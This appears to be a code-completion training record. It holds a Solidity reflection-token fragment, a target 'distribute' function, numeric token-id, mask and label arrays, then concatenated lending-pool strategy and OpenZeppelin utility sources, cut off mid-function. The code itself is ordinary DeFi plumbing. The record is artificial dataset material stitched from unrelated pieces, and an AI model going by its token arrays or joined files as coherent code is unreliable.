(uint256) { return amount * _taxFeeReward / (10**2); } function _calculateTaxFeeLiquidity(uint256 amount) private view returns (uint256) { return amount * _taxFeeLiquidity / (10**2); } } // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/utils/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
* @dev Distribute tokens to all holders that are included from reward. Requirements: - the caller must have a balance of at least `amount`./
function distribute(uint256 amount) public { address sender = _msgSender(); require(!_isExcludedFromReward[sender], "Excluded addresses cannot call this function"); ValuesFromAmount memory values = _getValues(amount, false); _rBalances[sender] = _rBalances[sender] - values.rAmount; _rTotal = _rTotal - values.rAmount; _tFeeTotal = _tFeeTotal + amount ; }
13,035,763
[ 1, 1669, 887, 2430, 358, 777, 366, 4665, 716, 854, 5849, 628, 19890, 18, 225, 29076, 30, 300, 326, 4894, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25722, 12, 11890, 5034, 3844, 13, 1071, 288, 203, 3639, 1758, 5793, 273, 389, 3576, 12021, 5621, 203, 3639, 2583, 12, 5, 67, 291, 16461, 1265, 17631, 1060, 63, 15330, 6487, 315, 16461, 6138, 2780, 745, 333, 445, 8863, 203, 3639, 6876, 1265, 6275, 3778, 924, 273, 389, 588, 1972, 12, 8949, 16, 629, 1769, 203, 3639, 389, 86, 38, 26488, 63, 15330, 65, 273, 389, 86, 38, 26488, 63, 15330, 65, 300, 924, 18, 86, 6275, 31, 203, 3639, 389, 86, 5269, 273, 389, 86, 5269, 300, 924, 18, 86, 6275, 31, 203, 3639, 389, 88, 14667, 5269, 273, 389, 88, 14667, 5269, 397, 3844, 274, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../tools/math/WadRayMath.sol'; import '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import '../../dependencies/openzeppelin/contracts/IERC20.sol'; import '../../dependencies/compound-protocol/contracts/ICToken.sol'; import '../../misc/interfaces/IWETH.sol'; import '../../interfaces/IPoolToken.sol'; import '../../interfaces/IDerivedToken.sol'; import './DelegatedStrategyCompoundBase.sol'; contract DelegatedStrategyCompoundEth is DelegatedStrategyCompoundBase { using SafeERC20 for IERC20; IWETH private immutable _weth; constructor( string memory name, address addressProvider, address weth ) DelegatedStrategyBase(name, addressProvider) { _weth = IWETH(weth); } function getUnderlying(address) external view override returns (address) { return address(_weth); } function internalWithdrawUnderlying( address asset, uint256 amount, address to ) internal override returns (uint256) { uint256 balanceBefore = address(this).balance; amount = internalRedeem(asset, amount); require(address(this).balance >= balanceBefore + amount, 'CToken: redeem inconsistent'); if (amount == 0) { return 0; } _weth.deposit{value: amount}(); if (to != address(this)) { IERC20(address(_weth)).safeTransfer(to, amount); } return amount; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../Errors.sol'; /// @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /// @return One ray, 1e27 function ray() internal pure returns (uint256) { return RAY; } /// @return One wad, 1e18 function wad() internal pure returns (uint256) { return WAD; } /// @return Half ray, 1e27/2 function halfRay() internal pure returns (uint256) { return halfRAY; } /// @return Half ray, 1e18/2 function halfWad() internal pure returns (uint256) { return halfWAD; } /// @dev Multiplies two wad, rounding half up to the nearest wad function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /// @dev Divides two wad, rounding half up to the nearest wad function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /// @dev Multiplies two ray, rounding half up to the nearest ray function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /// @dev Divides two ray, rounding half up to the nearest ray function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /// @dev Casts ray down to wad function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /// @dev Converts wad up to ray function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import './IERC20.sol'; import './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP excluding events to avoid linearization issues. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface ICToken { /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1 * 10^(18 - 8 + Underlying Token Decimals) */ function exchangeRateCurrent() external returns (uint256); /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() external view returns (uint256); /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint256); /// @dev Block number that interest was last accrued at function accrualBlockNumber() external view returns (uint256); function accrueInterest() external returns (uint256); function balanceOfUnderlying(address) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); } interface ICTokenErc20 is ICToken { /// @dev Underlying asset for this CToken function underlying() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function transfer(address dst, uint256 wad) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IDerivedToken.sol'; // solhint-disable func-name-mixedcase interface IPoolToken is IDerivedToken { function POOL() external view returns (address); function updatePool() external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; // solhint-disable func-name-mixedcase interface IDerivedToken { /** * @dev Returns the address of the underlying asset of this token (E.g. WETH for agWETH) **/ function UNDERLYING_ASSET_ADDRESS() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../tools/math/WadRayMath.sol'; import '../../tools/math/InterestMath.sol'; import '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import '../../dependencies/openzeppelin/contracts/IERC20.sol'; import '../../dependencies/compound-protocol/contracts/ICToken.sol'; import '../../interfaces/IPoolToken.sol'; import '../../interfaces/IDerivedToken.sol'; import '../../interfaces/IPriceOracle.sol'; import './DelegatedStrategyBase.sol'; abstract contract DelegatedStrategyCompoundBase is DelegatedStrategyBase { using SafeERC20 for IERC20; using WadRayMath for uint256; uint32 private _msecPerBlock; uint32 private _lastBlock = uint32(block.number); uint32 private _lastTS = uint32(block.timestamp); function getDelegatedState(address asset, uint40) external override returns (DelegatedState memory result) { require(ICToken(asset).accrueInterest() == 0, 'CToken: accrueInterest failed'); uint256 rate = ICToken(asset).supplyRatePerBlock().wadToRay(); uint32 msecPerBlock = _msecPerBlock; if (_lastBlock < uint32(block.number)) { _updateAssetSource(asset); uint256 v = ((block.timestamp - _lastTS) * 1000) / uint32(block.number - _lastBlock); if (msecPerBlock > 0) { v += msecPerBlock * 3; v /= 4; require(v < type(uint32).max); } msecPerBlock = uint32(v); _lastTS = uint32(block.timestamp); _lastBlock = uint32(block.number); _msecPerBlock = msecPerBlock; } // Compound uses per-block rate, while the lending pool uses per-annum rate rate *= InterestMath.MILLIS_PER_YEAR / msecPerBlock; require(rate <= type(uint128).max); return DelegatedState({ liquidityIndex: uint128(WadRayMath.RAY), variableBorrowIndex: uint128(WadRayMath.RAY), liquidityRate: uint128(rate), variableBorrowRate: 0, stableBorrowRate: 0, lastUpdateTimestamp: uint32(block.timestamp) }); } function _updateAssetSource(address asset) private { if (_addressProvider != IPriceOracleProvider(address(0))) { IPriceOracle oracle = IPriceOracle(_addressProvider.getPriceOracle()); oracle.updateAssetSource(asset); } } function getDelegatedDepositIndex(address) external pure override returns (uint256) { return WadRayMath.RAY; // CToken doesn't need indexing } function internalRedeem(address asset, uint256 amount) internal returns (uint256) { if (amount == type(uint256).max) { amount = ICToken(asset).balanceOfUnderlying(address(this)); } require(ICToken(asset).redeemUnderlying(amount) == 0, 'CToken: redeem failed'); return amount; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; /** * @title Errors library * @notice Defines the error messages emitted by the different contracts * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (DepositToken, VariableDebtToken and StableDebtToken) * - AT = DepositToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = AddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolExtension * - ST = Stake */ library Errors { //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // Amount must be greater than 0 string public constant VL_NO_ACTIVE_RESERVE = '2'; // Action requires an active reserve string public constant VL_RESERVE_FROZEN = '3'; // Action cannot be performed because the reserve is frozen string public constant VL_UNKNOWN_RESERVE = '4'; // Action requires an active reserve string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // User cannot withdraw more than the available balance (above min limit) string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // Transfer cannot be allowed. string public constant VL_BORROWING_NOT_ENABLED = '7'; // Borrowing is not enabled string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // Invalid interest rate mode selected string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // The collateral balance is 0 string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // Health factor is lesser than the liquidation threshold string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // There is not enough collateral to cover a new borrow string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // The requested amount is exceeds max size of a stable loan string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // to repay a debt, user needs to specify a correct debt type (variable or stable) string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // To repay on behalf of an user an explicit amount to repay is needed string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // User does not have a stable rate loan in progress on this reserve string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // User does not have a variable rate loan in progress on this reserve string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // The collateral balance needs to be greater than 0 string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // User deposit is already being used as collateral string public constant VL_RESERVE_MUST_BE_COLLATERAL = '21'; // This reserve must be enabled as collateral string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // Interest rate rebalance conditions were not met string public constant AT_OVERDRAFT_DISABLED = '23'; // User doesn't accept allocation of overdraft string public constant VL_INVALID_SUB_BALANCE_ARGS = '24'; string public constant AT_INVALID_SLASH_DESTINATION = '25'; string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // The caller of the function is not the lending pool configurator string public constant LENDING_POOL_REQUIRED = '28'; // The caller of this function must be a lending pool string public constant CALLER_NOT_LENDING_POOL = '29'; // The caller of this function must be a lending pool string public constant AT_SUB_BALANCE_RESTIRCTED_FUNCTION = '30'; // The caller of this function must be a lending pool or a sub-balance operator string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // Reserve has already been initialized string public constant CALLER_NOT_POOL_ADMIN = '33'; // The caller must be the pool admin string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // The liquidity of the reserve needs to be 0 string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // Provider is not registered string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // Health factor is not below the threshold string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // The collateral chosen cannot be liquidated string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // User did not borrow the specified currency string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // There isn't enough liquidity available to liquidate string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant CALLER_NOT_STAKE_ADMIN = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small string public constant CALLER_NOT_LIQUIDITY_CONTROLLER = '60'; string public constant CALLER_NOT_REF_ADMIN = '61'; string public constant VL_INSUFFICIENT_REWARD_AVAILABLE = '62'; string public constant LP_CALLER_MUST_BE_DEPOSIT_TOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // Pool is paused string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant VL_TREASURY_REQUIRED = '74'; string public constant LPC_INVALID_CONFIGURATION = '75'; // Invalid risk parameters for the reserve string public constant CALLER_NOT_EMERGENCY_ADMIN = '76'; // The caller must be the emergency admin string public constant UL_INVALID_INDEX = '77'; string public constant VL_CONTRACT_REQUIRED = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; string public constant CALLER_NOT_REWARD_CONFIG_ADMIN = '81'; // The caller of this function must be a reward admin string public constant LP_INVALID_PERCENTAGE = '82'; // Percentage can't be more than 100% string public constant LP_IS_NOT_TRUSTED_FLASHLOAN = '83'; string public constant CALLER_NOT_SWEEP_ADMIN = '84'; string public constant LP_TOO_MANY_NESTED_CALLS = '85'; string public constant LP_RESTRICTED_FEATURE = '86'; string public constant LP_TOO_MANY_FLASHLOAN_CALLS = '87'; string public constant RW_BASELINE_EXCEEDED = '88'; string public constant CALLER_NOT_REWARD_RATE_ADMIN = '89'; string public constant CALLER_NOT_REWARD_CONTROLLER = '90'; string public constant RW_REWARD_PAUSED = '91'; string public constant CALLER_NOT_TEAM_MANAGER = '92'; string public constant STK_REDEEM_PAUSED = '93'; string public constant STK_INSUFFICIENT_COOLDOWN = '94'; string public constant STK_UNSTAKE_WINDOW_FINISHED = '95'; string public constant STK_INVALID_BALANCE_ON_COOLDOWN = '96'; string public constant STK_EXCESSIVE_SLASH_PCT = '97'; string public constant STK_WRONG_COOLDOWN_OR_UNSTAKE = '98'; string public constant STK_PAUSED = '99'; string public constant TXT_OWNABLE_CALLER_NOT_OWNER = 'Ownable: caller is not the owner'; string public constant TXT_CALLER_NOT_PROXY_OWNER = 'ProxyOwner: caller is not the owner'; string public constant TXT_ACCESS_RESTRICTED = 'RESTRICTED'; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // solhint-disable no-inline-assembly, avoid-low-level-calls /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } bytes32 private constant accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; function isExternallyOwned(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; uint256 size; assembly { codehash := extcodehash(account) size := extcodesize(account) } return codehash == accountHash && size == 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using {ReentrancyGuard}. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); require(isContract(target), 'Address: call to non-contract'); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function 